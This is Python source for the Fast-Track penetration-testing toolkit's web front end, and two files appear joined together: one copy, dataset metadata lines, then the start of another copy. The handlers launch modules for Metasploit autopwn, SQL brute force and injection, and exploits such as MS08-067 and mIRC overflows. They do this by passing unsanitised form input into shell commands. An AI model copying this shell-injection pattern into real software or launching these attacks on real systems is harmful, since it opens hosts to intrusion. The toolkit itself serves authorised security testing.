load_nav(self) mirc=file("bin/web/html/mirc","r").readlines() for line in mirc: self.wfile.write(line) load_footer(self) # TFTP if self.path == "/tftp": load_header(self) load_nav(self) tftp=file("bin/web/html/tftp","r").readlines() for line in tftp: self.wfile.write(line) load_footer(self) # IE XML Corruption if self.path == "/xmlcorruptionbo": load_header(self) load_nav(self) xml=file("bin/web/html/xmlcorruptionbo","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) # MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray if self.path == "/directshowheap": load_header(self) load_nav(self) xml=file("bin/web/html/directshowheap","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) # FireFox 3.5 Heap Spray if self.path == "/firefox35": load_header(self) load_nav(self) xml=file("bin/web/html/firefox35","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) # SQLPwnage Main Menu if self.path == "/sqlpwnage": load_header(self) load_nav(self) sqlpwnagemain=file("bin/web/html/sqlpwnage","r").readlines() for line in sqlpwnagemain: self.wfile.write(line) load_footer(self) # SQLPwnage Blind Menu if self.path == "/sqlpwnageblind": load_header(self) load_nav(self) sqlpwnagemain=file("bin/web/html/sqlpwnageblind","r").readlines() for line in sqlpwnagemain: self.wfile.write(line) load_footer(self) # SQLPwnage Blind POST Menu #if self.path == "/sqlpwnageblindpost": # sqlpwnagemain=file("bin/web/html/sqlpwnageblindpost.html","r").readlines() # for line in sqlpwnagemain: # self.wfile.write(line) # match=re.search('<ul id="navlist" title="menu">', line) # if match: # menuopen=file("bin/web/html/menu.html","r").readlines() # for line in menuopen: # self.wfile.write(line) # SQLPwnage Error Menu if self.path == "/sqlpwnageerror": load_header(self) load_nav(self) sqlpwnagemain=file("bin/web/html/sqlpwnageerror","r").readlines() for line in sqlpwnagemain: self.wfile.write(line) load_footer(self) # Close any html body tags self.wfile.write("</html></body>") # Start POST def do_POST(self): ###################### START UPDATE EVERYTHING SECTION ############################## if self.path == "/updatepost": load_header(self) load_nav(self) updatepost=file("bin/web/html/finished","r").readlines() for line in updatepost: self.wfile.write(line) load_footer(self) try: update=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Auto-Update" -e "python %s/fast-track.py -c 1 2" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END UPDATE EVERYTHING SECTION ############################## ###################### START UPDATE FT ONLY SECTION ############################## if self.path == "/updateftpost": load_header(self) load_nav(self) updatepost=file("bin/web/html/finished","r").readlines() for line in updatepost: self.wfile.write(line) load_footer(self) try: update=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Auto-Update" -e "python %s/fast-track.py -c 1 1" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END UPDATE FT ONLY SECTION ############################## ###################### START AUTOPWN SECTION ############################## if self.path == "/autopwnpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("+"," ") ipaddr=ipaddr.replace("%2C",",") ipaddr=ipaddr.replace("%2F","/") option1=raw_post_data[3].rstrip() load_header(self) load_nav(self) autopwn=file("bin/web/html/finished","r").readlines() for line in autopwn: self.wfile.write(line) load_footer(self) try: metapwn=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Autopwn Automated" -e "python %s/fast-track.py -c 2 \'%s\' %s" 2> /dev/null""" % (definepath,ipaddr,option1), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END AUTOPWN SECTION ############################## ###################### START METASPLOIT UPDATE SECTION ############################## if self.path == "/metaupdatepost": self.send_response(200) self.end_headers() load_header(self) load_nav(self) metaupdatepost=file("bin/web/html/finished","r").readlines() for line in metaupdatepost: self.wfile.write(line) load_footer(self) try: metaupdate=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Autopwn Automated" -e "python %s/bin/ftsrc/updatemeta.py" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END METASPLOIT UPDATE SECTION ############################## ###################### START SQL QUICK BRUTE ############################## if self.path == "/quickbrutepost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("%2F","/") payload=raw_post_data[3].rstrip() username=raw_post_data[5].rstrip() load_header(self) load_nav(self) quickbrute=file("bin/web/html/finished","r").readlines() for line in quickbrute: self.wfile.write(line) load_footer(self) try: quickbrute=subprocess.Popen(r"""xterm -geometry 80x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Quick Brute" -e "python %s/fast-track.py -c 4 1 %s %s %s" """ % (definepath,ipaddr,username,payload), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END SQL QUICK BRUTE ############################## ###################### START SQL WORDLIST BRUTE ############################## if self.path == "/wordlistbrutepost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) # print raw_post_data raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() payload=raw_post_data[3].rstrip() username=raw_post_data[5].rstrip() wordlist=raw_post_data[7].rstrip() wordlist=wordlist.replace("%2F","/") ipaddr=ipaddr.replace("%2F", "/") load_header(self) load_nav(self) wordlistbrute=file("bin/web/html/finished","r").readlines() for line in wordlistbrute: self.wfile.write(line) load_footer(self) try: wordlist=subprocess.Popen(r'''xterm -geometry 80x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Wordlist Brute" -e "python %s/fast-track.py -c 4 2 %s %s %s %s"''' % (definepath,ipaddr,username,wordlist,payload), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END SQL WORDLIST BRUTE ############################## ###################### START BINARYCONVERT ############################## if self.path == "/binaryconvertpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() print raw_post_data binpath=raw_post_data[1].rstrip() binpath=binpath.replace("%2F","/") binaryconvertpost=file("bin/web/html/finished","r").readlines() load_header(self) load_nav(self) for line in binaryconvertpost: self.wfile.write(line) load_footer(self) try: binconvert=subprocess.Popen("""python %s/fast-track.py -c 5 %s""" % (definepath,binpath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END BINARYCONVERT ############################## ###################### START SQL INJECTOR BINARY PAYLOAD ############################## if self.path == "/binarypayloadpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") load_header(self) load_nav(self) binarypayload=file("bin/web/html/finished","r").readlines() for line in binarypayload: self.wfile.write(line) load_footer(self) try: binarypayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 1 %s" 2> /dev/null''' % (definepath,url), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception: pass ###################### END SQL INJECTOR BINARY PAYLOAD ############################## ###################### START SQL INJECTOR FTP PAYLOAD ############################## if self.path == "/ftppayloadpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") load_header(self) load_nav(self) ftppayloadpost=file("bin/web/html/finished","r").readlines() for line in ftppayloadpost: self.wfile.write(line) load_footer(self) try: ftppayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 2 %s" 2> /dev/null'''% (definepath,url), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception: pass ###################### END SQL INJECTOR FTP PAYLOAD ############################## ###################### START SQL INJECTOR MANUAL PAYLOAD ############################## if self.path == "/manualpayloadpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") ipaddr=raw_post_data[3].rstrip() portnum=raw_post_data[5].rstrip() load_header(self) load_nav(self) manualpayloadpost=file("bin/web/html/finished","r").readlines() for line in manualpayloadpost: self.wfile.write(line) load_footer(self) try: manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 3 %s %s %s" 2> /dev/null''' % (definepath,url,ipaddr,portnum), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception: pass ###################### END SQL INJECTOR MANUAL PAYLOAD ############################## ###################### START SQL INJECTOR BINARY PAYLOAD POST ############################## if self.path == "/postpayloadpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") load_header(self) load_nav(self) postpayload=file("bin/web/html/finished","r").readlines() for line in postpayload: self.wfile.write(line) load_footer(self) try: ftppayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQL Injector Binary Payload" -e "python %s/fast-track.py -c 3 4 %s" 2> /dev/null'''% (definepath,url), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception: pass ###################### END SQL INJECTOR BINARY PAYLOAD POST ############################## ###################### START METASPLOIT CLIENT ATTACK ############################## if self.path == "/massclientpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() choice=raw_post_data[3].rstrip() try: etterchoice=raw_post_data[5].rstrip() except Exception,e: print e etterchoice=0 try: ettercap=raw_post_data[7].rstrip() except Exception: ettercap=0 load_header(self) load_nav(self) massclientpost=file("bin/web/html/finished","r").readlines() for line in massclientpost: self.wfile.write(line) load_footer(self) print choice try: massclient=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Metasploit Mass Client Attack" -e "python %s/fast-track.py -c 6 %s %s %s %s" 2> /dev/null""" % (definepath,ipaddr,choice,etterchoice,ettercap), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END METASPLOIT CLIENT ATTACK ############################## ###################### START EXPLOITS OPENVIEWCGI ############################## if self.path == "/openviewcgipost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("+"," ") load_header(self) load_nav(self) openviewcgi=file("bin/web/html/finished","r").readlines() for line in openviewcgi: self.wfile.write(line) load_footer(self) try: openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track HP OpenView CGI Exploit" -e "python %s/fast-track.py -c 7 1 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS OPENVIEWCGI ############################## ###################### START EXPLOITS IBMTIVOLI ############################## if self.path == "/ibmtivolipost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() try: ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("+"," ") except IndexError: pass load_header(self) load_nav(self) ibmtivoli=file("bin/web/html/finished","r").readlines() for line in ibmtivoli: self.wfile.write(line) load_footer(self) try: openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track IBM Tivoli Exploit" -e "python %s/fast-track.py -c 7 2 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS IBMTIVOLI ############################## ###################### START EXPLOITS OPENVIEWNNM ############################## if self.path == "/openviewnnmpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() ipaddr=raw_post_data[1].rstrip() ipaddr=ipaddr.replace("+"," ") load_header(self) load_nav(self) openviewnnm=file("bin/web/html/finished","r").readlines() for line in openviewnnm: self.wfile.write(line) load_footer(self) try: openviewcgi=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track HP OpenView NNM Exploit" -e "python %s/fast-track.py -c 7 2 %s" 2> /dev/null""" % (definepath,ipaddr), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS OPENVIEWNNM ############################## ###################### START EXPLOITS QUICKTIME ############################## if self.path == "/quicktimepost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() quicktime=file("bin/web/html/finished","r").readlines() load_header(self) load_nav(self) for line in quicktime: self.wfile.write(line) load_footer(self) try: quicktime=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track RTSP 7.3 SEH Exploit" -e "python %s/fast-track.py -c 7 4" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS QUICKTIME ############################## ###################### START EXPLOITS GOODTECH ############################## if self.path == "/goodtechpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) goodtech=file("bin/web/html/finished","r").readlines() for line in goodtech: self.wfile.write(line) load_footer(self) try: goodtech=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Goodtech 6.4 Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 5" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS GOODTECH ############################## ###################### START EXPLOITS MS08067 ############################## if self.path == "/ms08067post": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) ms08067=file("bin/web/html/finished","r").readlines() for line in ms08067: self.wfile.write(line) load_footer(self) try: ms08067=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track MS08-067 Server Service Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 6" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS MS08067 ############################## ###################### START EXPLOITS MS09002 ############################## if self.path == "/ms09002post": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) ms09002=file("bin/web/html/finished","r").readlines() for line in ms09002: self.wfile.write(line) load_footer(self) try: ms09002=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track MS IE 7 Memory Corruption (MS09-002)" -e "python %s/fast-track.py -c 7 10" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS MS09002 ############################## ###################### START EXPLOITS MIRC ############################## if self.path == "/mircpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) mirc=file("bin/web/html/finished","r").readlines() for line in mirc: self.wfile.write(line) load_footer(self) try: mirc=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track mIRC 6.34 Remote Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 7" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS MIRC ############################## ###################### START EXPLOITS TFTP ############################## if self.path == "/tftppost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) tftp=file("bin/web/html/finished","r").readlines() for line in tftp: self.wfile.write(line) load_footer(self) try: tftp=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track TFTP Server Windows V1.4 ST Buffer Overflow Exploit" -e "python %s/fast-track.py -c 7 8" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS TFTP ############################## ###################### START EXPLOITS XML ############################## if self.path == "/xmlcorruptionbopost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) xml=file("bin/web/html/finished","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) try: xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track IE XML Corruption Heap Spray" -e "python %s/fast-track.py -c 7 9" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS XML ############################## ###################### START EXPLOITS DIRECTSHOW ############################## if self.path == "/directshowheappost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) xml=file("bin/web/html/finished","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) try: xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track DirectShow Heap Spray" -e "python %s/fast-track.py -c 7 11" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS DIRECTSHOW ############################## ###################### START EXPLOITS FireFox 3.5 ############################## if self.path == "/firefox35post": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) xml=file("bin/web/html/finished","r").readlines() for line in xml: self.wfile.write(line) load_footer(self) try: xml=subprocess.Popen("""xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track FireFox 3.5 Heap Spray" -e "python %s/fast-track.py -c 7 12" 2> /dev/null""" % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END EXPLOITS FireFox 3.5 ############################## ###################### START SQLPWNAGE BLIND ############################## if self.path == "/sqlpwnageblindpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() url=url.replace("%3A",":") url=url.replace("%2F","/") url=url.replace("%3F","?") url=url.replace("%3D","=") url=url.replace("%27","'") url=url.replace("%26","&") # Used to escape the ' and & in shell url=url.replace("'","\\'") url=url.replace("&","\\&") ipaddr=raw_post_data[3].rstrip() payload=raw_post_data[5].rstrip() portnum=raw_post_data[7].rstrip() load_header(self) load_nav(self) manualpayloadpost=file("bin/web/html/finished","r").readlines() for line in manualpayloadpost: self.wfile.write(line) load_footer(self) try: manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage Blind" -e "python %s/fast-track.py -c 8 1 %s %s %s %s"''' % (definepath,url,ipaddr,payload,portnum), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception,e: print e pass ###################### END SQLPWNAGE BLIND ############################## ###################### START SQLPWNAGE Error ############################## if self.path == "/sqlpwnageerrorpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() url=raw_post_data[1].rstrip() ipaddr=raw_post_data[3].rstrip() ipaddr=ipaddr.replace("%3A",":") ipaddr=ipaddr.replace("%2F","/") ipaddr=ipaddr.replace("%3F","?") ipaddr=ipaddr.replace("%3D","=") ipaddr=ipaddr.replace("%27","'") ipaddr=ipaddr.replace("%26","&") # Used to escape the ' and & in shell ipaddr=ipaddr.replace("'","\\'") ipaddr=ipaddr.replace("&","\\&") payload=raw_post_data[5].rstrip() portnum=raw_post_data[7].rstrip() load_header(self) load_nav(self) manualpayloadpost=file("bin/web/html/finished","r").readlines() for line in manualpayloadpost: self.wfile.write(line) load_footer(self) try: manualpayload=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track SQLPwnage Blind" -e "python %s/fast-track.py -c 8 2 %s %s %s %s"''' % (definepath,url,ipaddr,payload,portnum), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." except Exception,e: print e pass ###################### END SQLPWNAGE Error ############################## ###################### START PAYLOADGEN ############################## if self.path == "/payloadgenpost": content_length = string.atoi(self.headers.dict["content-length"]) raw_post_data = self.rfile.read(content_length) raw_post_data=re.split('=|&',raw_post_data) self.send_response(200) self.end_headers() load_header(self) load_nav(self) payloadgen=file("bin/web/html/finished","r").readlines() for line in payloadgen: self.wfile.write(line) load_footer(self) try: payloadgen=subprocess.Popen('''xterm -geometry 60x20 -bg black -fg green -fn *-fixed-*-*-*-20-* -T "Fast-Track Payload Generator" -e "python %s/fast-track.py -c 9"''' % (definepath), shell=True) except OSError: print "Exiting Fast-Track Web GUI.." print "\nType <control>-c again to exit Fast-Track Web Gui.." ###################### END PayloadGen ############################## # Print standard browser headers def printBrowserHeaders(self): self.wfile.write("<p>Headers: <br>") header_keys = self.headers.dict.keys() for key in header_keys: self.wfile.write("<b>" + key + "</b>: ") self.wfile.write(self.headers.dict[key] + "<br>") # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass # # Specify starting parameters..if you want to make this exposed remotely (highly not recommended) # just change '127.0.0.1' to ''. Warning on this, I didn't harden this at all, so use at your own # risk externally. # try: port=sys.argv[2] except IndexError: port='44444' httpd = HTTPServer(('127.0.0.1', int(port)), myRequestHandler) print "\n****************************************\nFast-Track Web GUI Front-End\nWritten by: David Kennedy (ReL1K)\n****************************************\n" print "Starting HTTP Server on 127.0.0.1 port %s\n" % (port) print "*** Open a browser and go to http://127.0.0.1:%s ***\n" % (port) print "Type <control>-c to exit.." try: # Uncomment if you want to launch firefox upon opening #print "Launching FireFox on Localhost port: %s" % (port) #launchfirefox=os.popen2("firefox localhost:%s" % (port)) # Open sockets, open for business httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print "\n\nExiting Fast-Track Web Gui...\n\n" # Remove old files cleanup=subprocess.Popen("rm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;killall python 2> /dev/null", shell=True) # Terminate process sys.exit()
51,345
Python
.py
1,154
37.136049
275
0.594206
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,416
ftgui.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/web/.svn/text-base/ftgui.py.svn-base
#!/usr/bin/env python """ Fast-Track Web GUI Front-End, very very beta... This is my first attempt at throwing something together that is easier to use... It will be a gradual progression and improve as time goes along. Thanks to everyone for the help and support through this and testing, much appreciated to everyone. Muts, ShamanVirtual, MaJ, Sleep, TheX1le, Stazz, Leroy (Jenkem), Sasquatch, whipsmack, and everyone else that has given me ideas, and testing things out. """ # Import modules needed here..all standard Python modules from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import string,sys,os,re,subprocess,datetime # Define current working directory definepath=os.getcwd() sys.path.append("%s/bin/setup/" % (definepath)) # Start count to check all system requirements import depend # End Dependency check # Def request handlers to handle GET/POST sys.path.append("%s/bin/web/" % (definepath)) def load_header(self): headeropen=file("bin/web/html/header", "r").readlines() for line in headeropen: self.wfile.write(line) # define left hand nav section for webpage def load_nav(self): navopen=file("bin/web/html/nav", "r").readlines() for line in navopen: self.wfile.write(line) # Define footer section for webpage def load_footer(self): footeropen=file("bin/web/html/footer", "r").readlines() for line in footeropen: self.wfile.write(line) class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET # Site root: Main Menu if self.path == "/": self.printCustomHTTPResponse(200) load_header(self) load_nav(self) indexopen=file("bin/web/html/index","r").readlines() for line in indexopen: self.wfile.write(line) load_footer(self) # Style.CSS if self.path == "/fast_track.css": self.send_response(200) self.send_header('Content_type', 'text/css') self.end_headers() cssopen=file("bin/web/html/fast_track.css","r").readlines() for line in cssopen: self.wfile.write(line) # Spacer if self.path == "/images/spacer.gif": spacer=file("bin/web/html/images/spacer.gif","rb").readlines() for line in spacer: self.wfile.write(line) # Left graphic image for nav if self.path == "/images/ft_left_pane_1.jpg": spacer=file("bin/web/html/images/ft_left_pane_1.jpg","rb").readlines() for line in spacer: self.wfile.write(line) # Bullet if self.path == "/images/bullet.jpg": bullet=file("bin/web/html/images/bullet.jpg","rb").readlines() for line in bullet: self.wfile.write(line) # Content if self.path == "/images/content.gif": content=file("bin/web/html/images/content.gif","rb").readlines() for line in content: self.wfile.write(line) # Fast_Track_01 if self.path == "/images/fast_track_01.jpg.gif": ft1=file("bin/web/html/images/fast_track_01.jpg","rb").readlines() for line in ft1: self.wfile.write(line) # Fast_Track_03 if self.path == "/images/fast_track_03.jpg": ft3=file("bin/web/html/images/fast_track_03.jpg","rb").readlines() for line in ft3: self.wfile.write(line) # Fast_Track_08 if self.path == "/images/fast_track_08.jpg": ft8=file("bin/web/html/images/fast_track_08.jpg","rb").readlines() for line in ft8: self.wfile.write(line) # Fast_Track_09 if self.path == "/images/fast_track_09.jpg": ft9=file("bin/web/html/images/fast_track_09.jpg","rb").readlines() for line in ft9: self.wfile.write(line) # Fast_Track_10 if self.path == "/images/fast_track_10.jpg": ft=file("bin/web/html/images/fast_track_10.jpg","rb").readlines() for line in ft: self.wfile.write(line) # Fast_Track_11 if self.path == "/images/fast_track_11.jpg": 